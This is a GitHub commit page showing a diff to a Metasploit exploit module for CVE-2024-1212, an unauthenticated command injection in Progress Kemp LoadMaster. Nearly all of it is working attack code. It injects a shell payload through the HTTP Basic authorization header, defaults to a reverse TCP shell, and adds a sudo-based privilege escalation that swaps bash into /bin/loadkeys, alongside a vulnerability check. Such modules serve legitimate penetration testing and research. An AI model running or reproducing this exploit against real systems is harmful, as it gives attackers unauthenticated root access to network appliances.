Skip to content

Commit

Permalink
Update progress_kemp_loadmaster_unauth_cmd_injection.rb
Browse files Browse the repository at this point in the history
  • Loading branch information
DaveYesland authored Mar 19, 2024
1 parent 75d0efb commit 15cf4d8
Showing 1 changed file with 122 additions and 124 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -4,134 +4,132 @@
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in
Progress Kemp LoadMaster, versions before 7.2.59.2.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1212'],
['URL', 'https://kemptechnologies.com/kemp-load-balancers'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/']
],
'DisclosureDate' => '2024',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Payload' =>
{
'BadChars' => "\x3a\x27"
}
)
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in
Progress Kemp LoadMaster in the authroization header.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1212'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
['URL', 'https://kemptechnologies.com/kemp-load-balancers']
],
'DisclosureDate' => '2024-03-19',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Payload' => {
'BadChars' => "\x3a\x27"
}
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
])
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
])

@first_session_timestamp = nil
end

def exploit
uri = normalize_uri(target_uri.path, 'access', 'set')

print_status('Sending payload...')

send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'param' => 'enableapi',
'value' => '1'
},
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
'verify' => false
})
end

@first_session_timestamp = nil
def on_new_session(session)
# Kill the session if it was initiated too close to the first session
# This command injection tends to execute twice, so we want to kill
# the second session. Probably a better way to do this but I don't know it.
super
current_time = Time.now.to_i
if @first_session_timestamp.nil?
@first_session_timestamp = current_time
elsif current_time - @first_session_timestamp < 5
print_error('Detected a session initiated too close to the first session. Terminating it.')
session.kill
end

def exploit
uri = normalize_uri(target_uri.path, 'access', 'set')

print_status("Sending payload...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'param' => 'enableapi',
'value' => "1"
},
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
'verify' => false
})

# Run privesc commands if PRIVESC is set to true
if datastore['PRIVESC']
execute_privesc_command(session)
else
print_status('Privilege escalation skipped.')
end
end

def execute_privesc_command(session)
print_status('Executing privilege escalation command...')
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
end

def check
print_status("Checking if #{peer} is vulnerable...")

uri = normalize_uri(target_uri.path, 'access', 'set')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'param' => 'enableapi',
'value' => '1'
},
'authorization' => basic_auth("'", 'anything'),
'verify' => false
})

# No response from server
unless res
return CheckCode::Unknown
end

def on_new_session(session)
# Kill the session if it was initiated too close to the first session
# This command injection tends to execute twice, so we want to kill
# the second session. Probably a better way to do this but I don't know it.
super
current_time = Time.now.to_i
if @first_session_timestamp.nil?
@first_session_timestamp = current_time
elsif current_time - @first_session_timestamp < 5
print_error("Detected a session initiated too close to the first session. Terminating it.")
session.kill
end

# Run privesc commands if PRIVESC is set to true
if datastore['PRIVESC']
execute_privesc_command(session)
else
print_status('Privilege escalation skipped.')
end
# Check for specific error pattern in headers or body to confirm vulnerability
if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end

def execute_privesc_command(session)
print_status("Executing privilege escalation command...")
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
end

def check
print_status("Checking if #{peer} is vulnerable...")

uri = normalize_uri(target_uri.path, 'access', 'set')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'param' => 'enableapi',
'value' => "1"
},
'authorization' => basic_auth("'", 'anything'),
'verify' => false
})

# No response from server
unless res
return CheckCode::Unknown
end

# Check for specific error pattern in headers or body to confirm vulnerability
if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching")
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end

end
end

0 comments on commit 15cf4d8

Please sign in to comment.